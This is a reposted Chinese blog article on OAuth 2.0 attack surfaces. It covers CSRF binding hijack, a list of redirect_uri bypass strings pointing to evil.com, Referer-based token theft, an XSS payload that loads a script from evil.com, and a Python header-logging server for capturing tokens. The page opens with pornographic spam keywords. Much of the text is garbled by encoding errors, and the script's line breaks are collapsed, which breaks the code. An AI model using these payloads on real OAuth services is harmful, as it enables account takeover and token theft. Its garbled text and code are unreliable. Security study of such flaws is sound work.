日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 人文社科 > 生活经验 >内容正文

生活经验

OAuth 2.0攻击面与案例总结

發(fā)布時(shí)間:2023/11/27 生活经验 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 OAuth 2.0攻击面与案例总结 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

本文整理了OAuth 2.0的攻擊面+實(shí)際案例+輔助測(cè)試代碼。

OAuth流程

本文以兩種廣泛使用的方案為標(biāo)準(zhǔn)展開.。如對(duì)流程不了解,請(qǐng)先移步學(xué)習(xí): 理解OAuth 2.0

Authorization Code

  • response_type = code
  • redirect_uri
  • scope
  • client_id
  • state

Implicit

  • response_type = token
  • redirect_uri
  • scope
  • client_id
  • state

攻擊面

  • CSRF導(dǎo)致綁定劫持
  • redirect_uri繞過導(dǎo)致授權(quán)劫持
  • scope越權(quán)訪問

綁定劫持

攻擊者抓取認(rèn)證請(qǐng)求構(gòu)造惡意url,并誘騙已經(jīng)登錄的網(wǎng)用戶點(diǎn)擊(比如通過郵件或者QQ等方式).認(rèn)證成功后用戶的帳號(hào)會(huì)同攻擊者的帳號(hào)綁定到一起。

OAuth 2.0提供了state參數(shù)用于防御CSRF.認(rèn)證服務(wù)器在接收到的state參數(shù)按原樣返回給redirect_uri,客戶端收到該參數(shù)并驗(yàn)證與之前生成的值是否一致.除此方法外也可使用傳統(tǒng)的CSRF防御方案.

案例: 人人網(wǎng)-百度OAuth 2.0 redirect_uir CSRF 漏洞

授權(quán)劫持

根據(jù)OAuth的認(rèn)證流程,用戶授權(quán)憑證會(huì)由服務(wù)器轉(zhuǎn)發(fā)到redirect_uri對(duì)應(yīng)的地址,如果攻擊者偽造redirect_uri為自己的地址,然后誘導(dǎo)用戶發(fā)送該請(qǐng)求,之后獲取的憑證就會(huì)發(fā)送給攻擊者偽造的回調(diào)地址.攻擊者使用該憑證即可登錄用戶賬號(hào),造成授權(quán)劫持.

正常情況下,為了防止該情況出現(xiàn),認(rèn)證服務(wù)器會(huì)驗(yàn)證自己的client_id與回調(diào)地址是否對(duì)應(yīng).常見的方法是驗(yàn)證回調(diào)地址的主域,涉及到的突破方式與CSRF如出一轍:

未驗(yàn)證

  • 未驗(yàn)證的情況,可以直接跳出外域.

    案例: 土豆網(wǎng)某處認(rèn)證缺陷可劫持oauth_token

驗(yàn)證繞過

  • auth.app.com.evil.com
  • evil.com?auth.app.com
  • evil.com?@auth.app.com?案例:騰訊OAuth平臺(tái) redirect_uri 過濾不嚴(yán)可能導(dǎo)致用戶信息遭竊取(二)
  • auth.app.com@evil.com?案例:繞過網(wǎng)易o(hù)auth認(rèn)證的redirect_uri限制劫持帳號(hào)token
  • auth.app.com\@evil.com?案例:騰訊OAuth平臺(tái)redirect_uri過濾不嚴(yán)可能導(dǎo)致用戶信息遭竊取(四)
  • evil.com\auth.app.com
  • evil.com:\auth.app.com
  • evil.com\.auth.app.com?案例:騰訊OAuth平臺(tái)redirect_uri過濾不嚴(yán)可能導(dǎo)致用戶信息遭竊取
  • evil.com:\@auth.app.com?案例:新浪微博OAuth平臺(tái)redirect_uri過濾不嚴(yán)可能導(dǎo)致用戶信息遭竊取
  • 寬字符繞過 案例:?騰訊OAuth平臺(tái)redirect_uri過濾不嚴(yán)可能導(dǎo)致用戶信息遭竊取(三)

子域可控

  • 對(duì)回調(diào)地址驗(yàn)證了主域?yàn)?code>app.com,但其子域evil.app.com可被任意用戶注冊(cè)使用.

    案例: 新浪微博部分App Oauth2漏洞

跨域

  • 利用可信域的url跳轉(zhuǎn)從referer偷取token

    如果網(wǎng)站存在一個(gè)任意url跳轉(zhuǎn)漏洞,可利用該漏洞構(gòu)造以下向量

    redirect_uri=http://auth.app.com/redirect.php?url=http://evil.com

    認(rèn)證服務(wù)器將憑證通過GET方法發(fā)送到redirect.php,這時(shí)redirect.php執(zhí)行跳轉(zhuǎn),訪問http://evil.com,攻擊者為evil.com記錄日志,并從請(qǐng)求頭中的referer字段提取出該憑證,即可通過該憑證進(jìn)行授權(quán)登錄.

  • 利用跨域請(qǐng)求從referer偷取token

    在我們不能繞過redirect_uri的判斷規(guī)則時(shí),我們可以使利用跨域請(qǐng)求從referer中偷取token.

    例1 redirect_uri限制為app.com,然而app.com/article/1.html中允許用戶發(fā)表文章,在文章中嵌入來自evil.com的外部圖片.這時(shí)我們可以讓redirect_uri指向該文章app.com/article/1.html,當(dāng)該文章被訪問時(shí),會(huì)自動(dòng)獲取 evil.com/test.jpg ,這時(shí)攻擊者即可從請(qǐng)求頭的referer拿到token

    例2 利用XSS實(shí)現(xiàn)跨域

    redirect_uri = http://app.com/ajax/cat.html?callback=<script src="http://evil.com?getToken.php"></script>

越權(quán)訪問

這個(gè)案例展示了scope權(quán)限控制不當(dāng)帶來的安全風(fēng)險(xiǎn),同時(shí)將授權(quán)劫持的幾個(gè)方面演繹的淋漓盡致.

案例: 從“黑掉Github”學(xué)Web安全開發(fā)

輔助驗(yàn)證腳本

一個(gè)簡(jiǎn)易服務(wù)器,會(huì)記錄來訪者的請(qǐng)求頭.
1. Python picserver.py [可選端口號(hào)]
2. 打開瀏覽器訪問圖片或頁(yè)面地址
3. 查看日志
4. 清除日志

import BaseHTTPServer
import datetime
import sys
import osSERVER = '0.0.0.0' PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2333 LOG_PATH = 'reqlog.txt' class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): if '.png' in self.path: print self.path fname = '1.png' elif '.jpg' in self.path: fname = '1.jpg' elif '.gif' in self.path: fname = '1.gif' elif '.html' in self.path: fname = 'index.html' elif 'clear' in self.path: os.remove(LOG_PATH) self.send_response(200) self.end_headers() self.wfile.write('ok') return else: self.send_response(200) self.end_headers() try: self.wfile.write(open(LOG_PATH, 'r').read()) except IOError: print '[*]Create logfile: ' + LOG_PATH return message_parts = ['<br>===== [%s] %s =====' % (self.path, datetime.datetime.today())] for name, value in sorted(self.headers.items()): message_parts.append('%s: %s' % (name, value.strip())) message = '<br>'.join(message_parts) + '<br>' with open(LOG_PATH, 'a') as f: f.write(message) self.send_response(200) self.end_headers() self.wfile.write(open(fname, 'rb').read()) print '[*]Starting server at %s:%d' % (SERVER, PORT) server = BaseHTTPServer.HTTPServer((SERVER, PORT), WebRequestHandler) server.serve_forever()

效果:

參考

  • 理解OAuth 2.0 – 阮一峰
  • 從“黑掉Github”學(xué)Web安全開發(fā) – 陳皓
  • 利用OAuth劫持用戶身份(Kcon 2014) – 藍(lán)色di雪球
  • 烏云已公開漏洞

轉(zhuǎn)載于:https://www.cnblogs.com/h2zZhou/p/5741262.html

總結(jié)

以上是生活随笔為你收集整理的OAuth 2.0攻击面与案例总结的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。